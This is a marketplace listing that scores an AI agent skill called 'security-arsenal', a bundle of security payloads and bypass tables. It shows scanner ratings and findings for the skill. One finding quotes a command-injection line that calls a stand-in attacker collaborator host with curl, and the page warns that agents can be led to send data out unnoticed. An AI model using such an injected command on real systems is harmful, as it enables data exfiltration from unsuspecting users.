SKILLEMALL.ai
GitHub ↗ RU Sign in

CC security-arsenal

Security payloads, bypass tables, wordlists, gf pattern names, always-rejected bug list, and conditionally-valid-with-chain table.

sickn33/agentic-awesome-skills Agent Skills author: sickn33 MIT 2 files body ≈ 3 207 tokens Open the sourcegithub.com↗ analyzed 5 d ago

Security payloads, bypass tables, wordlists, gf pattern names, always-rejected bug list, and conditionally-valid-with-chain table.

As a process C 53/100 · Has gaps — weak spots: result and completion, when it triggers, inputs and preconditions

ProcedureMongoDBMySQLSecuritytype and topics are labelled automatically from the skill text
Runs in: Claude / Claude Code ChatGPT / Codex Gemini CLI Cursor GitHub Copilot / VS Code Qwen Code Kimi Code CLI Z.ai (GLM) DeepSeek (Deep Code) Mistral Vibe LangChain (deepagents) OpenClaw Goose OpenCode
JSON
Technical rating
C
89/100
safety, quality, tests
Safety 60%
92
Quality 40%
84
Run on models
none yet
Process rating
C
53/100
Has gaps
Result and completion w 14
0
Inputs and preconditions w 11
0
Failures and branches w 10
0
the three weakest of ten parameters · all ten
This is a copy of a skill from another catalog; the rating counts the canonical one: security-arsenal (sickn33/agentic-awesome-skills)

What is at stake

Medium-severity findings: the skill is probably honest, but read what alarmed the scanner.

Exfiltration medium severity

Below is the worst case for this category. The finding here is medium: the guard saw a sign, not a proof.

If you install

The instructions or scripts send data out: environment variables, keys, file contents, chat history. You may never notice, because the agent performs the upload as "part of the task".

For the author

If the upload is not needed for the task, remove it: catalogs flag such skills and delist them. If it is needed, name the destination explicitly, say what leaves the machine, and give the user a switch.

How to improve

    For the model run — optional
    • Your own cases (evals/evals.json, 4–6 real requests with expected answers): the full check would then run those instead of a model-drafted suite.
    • A spec.yaml with trigger phrases and assertions — a behaviour contract for CI; `skilltest init` writes a template.

    Guard findings · 4

    ✓ No critical or high findings

    Medium and low: 4
    • medium Exfiltration exfil-webhook-url SKILL.md:373
      Webhook / callback URL commonly used for exfiltration (verify the destination) (documentation of a security skill)
      ; curl https://attacker.burpcollaborator.net
      security skill
    • low Risky intent intent-offensive-security SKILL.md:254
      Offensive-security / dual-use content (legitimate for authorised testing; review intended use)
      ### Horizontal Privilege Escalation
    • low Risky intent intent-offensive-security SKILL.md:272
      Offensive-security / dual-use content (legitimate for authorised testing; review intended use)
      ### Vertical Privilege Escalation

    A further 1 matches are quotations in this security skill's documentation and are not counted as findings.

    Files scanned: 2. Evidence is masked. Grey chips explain why severity was lowered.

    Against the Agent Skills spec

    • note frontmatter-key unknown frontmatter key "risk"
    • note frontmatter-key unknown frontmatter key "source"
    • note frontmatter-key unknown frontmatter key "source_repo"
    • note frontmatter-key unknown frontmatter key "source_type"
    • note frontmatter-key unknown frontmatter key "date_added"
    • note frontmatter-key unknown frontmatter key "license_source"
    • note frontmatter-key unknown frontmatter key "sources"

    Process rating: all ten parameters 53/100

    • 0Result and completion. Does not say what the result is
    • 0Inputs and preconditions. Does not say what the process needs to start
    • 0Failures and branches. Linear process with no failure handling
    • 0Progress reporting. Says nothing while it works
    • 20When it triggers. No condition that starts the skill
    • 100Tools and files. No external tools needed
    • 100Steps. 18 steps
    • 100Consistency. Name and required fields are in place
    • 100Execution cost. Instruction body is 3207 tokens
    • 100Running it twice. No mutating operations
    • medium Safety rules and hard prohibitions inside a skill: they belong in the system prompt, here they protect nothing
    • low 13 top-level sections: this looks like several domains in one skill

    Everything here is measured from the skill text rather than judged by a model, so the numbers are checkable. A parameter weighs more when it is a more common reason for the process to stall.

    Quality signals

    • +5Description has no quoted example phrases that should trigger the skill
    • +4Description does not say when NOT to use the skill (false activations)
    • +3Output format is not stated: the model decides each time
    • -2localhost URLs: will not work for another user
    • +2Single-language instructions
    • +3Description length 130: enough signal without eating the budget
    • +4Structure: 41 headings
    • +3Step-by-step instructions: 18 items
    • +4Has examples (27 code blocks)
    • +4Reference files are cited in the instructions (1 of 1)
    • +1License stated

    Quality base 70; lint remarks subtract, signals add up to 100. Result: 84.